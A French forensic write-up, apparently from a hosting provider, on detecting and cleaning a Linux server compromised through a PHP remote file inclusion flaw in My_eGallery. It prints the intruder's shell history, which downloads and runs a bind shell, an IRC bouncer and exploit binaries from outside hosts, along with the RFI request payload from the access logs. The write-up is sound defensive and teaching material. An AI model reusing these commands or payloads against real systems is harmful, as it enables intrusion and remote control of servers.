

Machine verolée

Voici un exemple précis d'une machine MachineSemiHackee avec un virus installé mais encore récupérable sans réinstallation complète.

```
# ps auxw
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog..
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven
```

Visiblement, le hackeur a exploité une faille dans les scripts php et a pu avoir un accès shell sur la machine. Ensuite, il a pu télécharger, compiler et lancer différents softs. On remarque l'utilisation des noms comme httpd qui est un serveur apache généralement. Un ?il non expert pensera qu'il s'agit tout simplement d'un serveur web alors que ce n'est pas le cas.

Le hackeur a pu aussi voir ceci :

```
# uname -a
Linux nsxxxxxxx 2.4.24-custom-grsec #1 mar jan 6 22:29:56 CET 2004 i686 unknown
```

Le client a mis le dernier noyau actuellement disponible et sans bug de sécurité. On peut donc penser fortement que le hackeur n'a pas pu avoir l'accès en root sur la machine. On va faire quelques vérifications :

```
# netstat -tanpu
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58215 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :59768 68.123.42.162:1449 ESTABLISHED 16386/raven
tcp 0 0 213.186.XX.XX :42473 195.47.220.2:6667 ESTABLISHED 647/fileoutlog.
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58698 CLOSE_WAIT -
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:52703 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :42427 193.109.122.67:6667 ESTABLISHED 647/fileoutlog.
tcp 0 0 213.186.XX.XX :36162 62.235.13.228:6667 ESTABLISHED 647/fileoutlog.
udp 0 0 0.0.0.0 :3049 0.0.0.0:* 10279/rh
```

On remarque que le process rh écoute le port 3049. L'?il expert sait de suite qu'il s'agit d'un virus. Mais comme le process est en nobody on est donc sûr que le virus ne s'est pas installé (pas encore). Il faut donc maintenant être extrêmement prudent. Une fausse manipulation peut se finir en installation du virus en root et à ce moment-là il ne restera plus qu'à réinstaller la machine. On va donc commencer par bien vérifier qu'il s'agit d'un virus. On va télécharger un antivirus et scanner les répertoires.

```
# cd /temp/
```

1. wget <http://www.antivir.de/dateien/antivir/release/avlwxks.tgz>
2. tar xvfz avlwxks.tgz
3. cd antivir-workstation-2.0.9/bin/

Nous allons faire de sorte que le virus ne puisse pas modifier l'antivirus.

```
# chattr -i antivir
```

1. cp ../vdf/antivir.vdf ./
2. ./antivir

Anti Vir / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.

Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...

Anti Vir is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004

checking drive/path (cwd): /temp/antivir-workstation-2.0.9/bin

scan results
directories: 1
files: 1
alerts: 0
scan time: 00:00:01

Thank you for using Anti Vir.

On va scanner maintenant :

```
# ./antivir --allfiles /*
```

Anti Vir / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.

Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...

Anti Vir is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004

checking drive/path (list): /bin
checking drive/path (list): /boot
checking drive/path (list): /dev
checking drive/path (list): /etc
checking drive/path (list): /home
checking drive/path (list): /initrd
checking drive/path (list): /lib
checking drive/path (list): /lost+found
checking drive/path (list): /mnt
checking drive/path (list): /opt
checking drive/path (list): /proc
checking drive/path (list): /root

checking drive/path (list): /sbin
checking drive/path (list): /temp
checking drive/path (list): /tmp
/tmp/bindtty

Date: 24.01.2004 Time: 13:39:29 Size: 28143

ALERT: [Linux/Rst.B virus] /tmp/bindtty Contains signature of the Linux virus Linux/Rst.B

/tmp/_30267_120_21.wrk

Date: 24.01.2004 Time: 13:35:05 Size: 9834

ALERT: [Linux/Rst.B virus] /tmp/_30267_120_21.wrk Contains signature of the Linux virus Linux/Rst.B

/tmp/d

Date: 15.12.2003 Time: 16:41:54 Size: 132720

ALERT: [Linux/Rst.B virus]/tmp/d Contains signature of the Linux virus Linux/Rst.B

/tmp/d2

Date: 24.01.2004 Time: 13:39:29 Size: 93694

ALERT: [Linux/Rst.B virus] /tmp/d2 Contains signature of the Linux virus Linux/Rst.B

checking drive/path (list): /usr
checking drive/path (list): /var

scan results

directories: 17

files: 713

alerts: 4

repaired: 0

deleted: 0

renamed: 0

scan time: 00:00:08

Thank you for using Anti Vir.

Il s'agit donc de Rst.B :

www.sophos.fr/virusinfo/analyses/linuxrstb.html

www.computeruser.com/news/02/01/08/news1.html

Ce qu'il faut surtout NE PAS FAIRE c'est de l'exécuter. Pourquoi ? Actuellement le virus est exécuté en nobody c'est à dire un utilisateur qui ne peut pas faire grande chose sur la machine. Moi, en étant connecté en root, si je l'exécute, je lui donnerai les droits du root alias superutilisateur et à ce moment là, le virus ayant les droits sur tout le disque, va affecter les fichiers systèmes (qui appartiennent à root).

Qu'est-ce qu'on fait alors ? On efface.

cd /tmp

1. ls -l

```
total 9348
-rwxrwxrwx 1 nobody nobody 28143 jan 24 13:39 bindtty
-rwxr-xr-x 1 nobody nobody 132720 déc 15 16:41 d
-rwxr-xr-x 1 nobody nobody 93694 jan 24 13:39 d2
drwxr-xr-x 11 nobody nobody 4096 jan 24 12:05 psybnc
```

1. `rm -rf *`
2. `ls -al`

```
total 24
drwxrwxrwt 3 root root 12288 jan 24 16:11 .
drwxr-xr-x 19 root root 4096 jan 24 15:47 ..
drwxr-xr-x 3 nobody nobody 4096 jan 24 13:42 ...
-rw- 1 nobody nobody 803 jan 23 11:38 .bash_history
```

Tiens, un fichier bash du shell. On va donc regarder ce que le hackeur a tapé :

```
# cat .bash_history
cd /var/tmp
uptime
mkdir " "
cd " "
wget http://hm2k.org/irc/psybnc/psyBNC2.2.1-linux-i86-static.tar.gz
tar -zxvf psyBNC2.2.1-linux-i86-static.tar.gz
rm -rf psyBNC2.2.1-linux-i86-static.tar.gz
cd psybnc
make
rm -rf psybnc.conf
wget e-2008.com/psybnc.conf
./psybnc
w
cd /var/tmp
mkdir " .."
cd " .."
wget cool-life.org/alina
chmod +x alina
./alina
cat /etc/issue
./alina
./alina
./alina
./alina
./alina
./alina
./alina
./alina
wget mephist0.3x.ro/insert.tar.gz
tar zxvf insert.tar.gz
cd 123123321
./x
./x
```

```
./x
./x
./x
./x
wget wget www.bogo.as.ro/linux/httpd
chmod +x httpd
./httpd
socklist
ps ax
wget ma-doare-n-pwla.com/bind.tgz
chmod +x bind
tar zxvf bind.tgz
cd bind
chmod +x raven
./raven
kill -9 9296
ps ax
killall -9 x
killall -9 alina
killall -9 psybnc
ps afx
killall -9 tmp/./bindtty
killall -9 bindtty
```

1.

On remarque la création d'un repertoire " " (avec un espace) qui trompera l'expert et qui ne le verra pas. On remarque (encore et encore) que le hacker installe un bounce IRC lequel il va utiliser un jour pour se connecter d'une machine à l'autre. Ceci lui permettra de ne jamais donner sa vraie IP de connexion et donc on ne pourra jamais le retrouver.

Maintenant on va tuer les process :

```
# ps auxw | grep nobody
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven
```

1. kill 10279
2. kill 647
3. kill 25551
4. kill 16386
5. ps auxw | grep nobody

```
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.
```

1. kill -9 647
2. ps auxw | grep nobody

On verifie que le hackeur n'a pas installé de fichier crontab :

```
# cd /var/spool/cron/
```

```
1. ls -al
```

```
total 8
```

```
drwx- 2 root root 4096 jui 17 2003 .
```

```
drwxr-xr-x 7 root root 4096 jun 24 2003 ..
```

Parfait. La machine est à nouveau clean. Mais le hackeur peut exploiter à nouveau la faille sur les scripts php et revenir sur la machine. Il faut donc trouver le fichier php qui n'est pas sécurisé.

```
# cd /usr/local/apache/logs
```

On va donc chercher les requêtes GET sur les scripts php où on passe les paramètres et donc il y a un ?. Puis, par expérience, on pense que le hackeur a utilisé wget pour télécharger l'exécutable.

```
# grep "php?" *_log | grep GET | grep wget
```

```
ovh-access_log:202.133.101.83 -- G18/Jan/2004:11:40:48 +0100I "GET
```

```
/~/sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&
```

```
HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
```

Bingo. On va maintenant regarder ce qu'il a encore fait.

```
# grep "202.133.101.83" ovh-access_log
```

```
202.133.101.83 -- G18/Jan/2004:11:40:01 +0100I "GET
```

```
/~/sitehacke/sitehacke/modules.php?name=My_eGallery HTTP/1.0" 200 14012
```

```
"http://www.google.com.my/search?q=allinurl:+My_eGallery+site:.net&hl=ms&lr=&ie=UTF-8&oe=UTF-8&start=4
```

```
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
```

```
202.133.101.83 -- G18/Jan/2004:11:40:10 +0100I "GET
```

```
/~/sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&
```

```
HTTP/1.0" 200 794 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
```

```
202.133.101.83 -- G18/Jan/2004:11:40:48 +0100I "GET
```

```
/~/sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&
```

```
HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
```

```
202.133.101.83 -- G18/Jan/2004:11:41:06 +0100I "GET
```

```
/~/sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&
```

```
HTTP/1.0" 200 705 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
```

```
202.133.101.83 -- G18/Jan/2004:11:41:24 +0100I "GET
```

```
/~/sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&
```

```
HTTP/1.0" 200 734 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
```

On voit donc :

il est allé sur Google et a cherché les sites qui ont installé My_EGallery.

www.google.com.my/search?q=allinurl:+My_eGallery+site Il a d'abord essayé de voir si le script avait une faille ou pas en essayant d'exécuter `uname -a`; id. Visiblement, ça a marché. Il a donc téléchargé un shell verolé avec un virus et l'a enregistré dans le repertoire `/tmp wget 20streez.org/bindtty -O /tmp/bindtty`, puis a donné les permissions d'exécution à ce script :

```
chmod 777 /tmp/bindtty
```

puis l'a exécuté :

```
/tmp/./bindtty
```

Ce qu'il lui a permis de demarrer un shell et avoir l'accès sur la machine en nobody. Tout ceci en 1 minute 23 secondes !!

On va donc bloquer ce repertoire :

```
# cd /home/sitehacke
```

```
1. ls -al
```

```
total 16
```

```
drwx-r-x 4 sitehacke users 4096 sep 9 19:34 .
```

```
drwxr-xr-x 98 root root 4096 jan 23 11:42 ..
```

```
drwx-r-x 2 sitehacke users 4096 sep 9 19:34 cgi-bin
```

```
drwx-r-x 6 sitehacke users 4096 déc 21 00:57 www
```

```
1. chmod -cfR 0 *
```

Le hackeur s'est connecté à partir de l'ip 202.133.101.83

```
# whois 202.133.101.83
```

```
inetnum: 202.133.96.0 - 202.133.111.255
```

```
netname: MYKRISNET
```

```
descr: Wireless Internet Service Provider
```

```
descr: descr: Mont' Kiara, Kuala Lumpur, Malaysia.
```

```
country: MY
```

Une IP en Malysie, un abonné ADSL probablement hacké. Aucune plainte ne pourra donc être reçue par la police.

Dans dmesg de la machine on peut voir ceci :

```
# dmesg
```

```
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
```

```
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
```

```
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99)
```

OVH

EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
grsec: From 81.196.46.28: signal 11 sent to (km3:13236) UID(99) EUID(99), parent (km3:17922) UID(99) EUID(99)
grsec: From 81.196.46.28: signal 11 sent to (km3:7660) UID(99) EUID(99), parent (km3:13236) UID(99) EUID(99)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:17799) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:21648) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)

Le hackeur a voulu lancer un soft alina, probablement un scan des réseaux. Heureusement, le noyau GRS l'a détecté et a tué ces process. Puis le hackeur a essayé d'autres scans des réseaux. Le scan a été tellement violent que la connexion rj45 a coupé pendant quelques secondes :

```
# grep "eth0" /var/log/messages
Jan 23 11:29:25 ns10 kernel: eth0: link down
Jan 23 11:32:14 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
Jan 23 11:32:17 ns10 kernel: eth0: link down
Jan 23 11:32:18 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
```

Comme le reseau a coupé, on ne voit pas d'attaque sur MRTG. On remarque que l'IP de connexion a encore changé :

```
# whois 80.96.33.10
[Requête en cours whois.ripe.net]
inetnum: 80.96.33.0 - 80.96.33.255
netname: SC-NET-AND-COMPUTERS-SRL
descr: SC Net & Computers SRL
descr: Str. Petru Rares nr.7 Dorohoi
country: ro
```

Une IP de Roumanie. Probablement hackée.

```
# whois 81.196.46.28
[Requête en cours whois.ripe.net]
inetnum: 81.196.46.0 - 81.196.46.31
netname: RO-OR-MULTINET-20030708
descr: Multinet Systems SRL
country: RO
```

Encore Roumanie.

```
# whois 80.96.33.157
[Requête en cours whois.ripe.net]
[whois.ripe.net]
inetnum: 80.96.33.0 - 80.96.33.255
netname: SC-NET-AND-COMPUTERS-SRL
descr: SC Net & Computers SRL
descr: Str. Petru Rares nr.7 Dorohoi
country: ro
```

Et Roumanie.

On écrira un email aux admins des réseaux qui gèrent ces IP afin qu'ils vérifient leur réseau. On n'aura jamais

OVH

une reponse et on ne saura pas si ça a été fait ou pas. Conclusion : mettez à jour vos machines et surveillez ce qu'il se passe sur votre machine. Le hack est simple et rapide. Le hackeur est introuvable.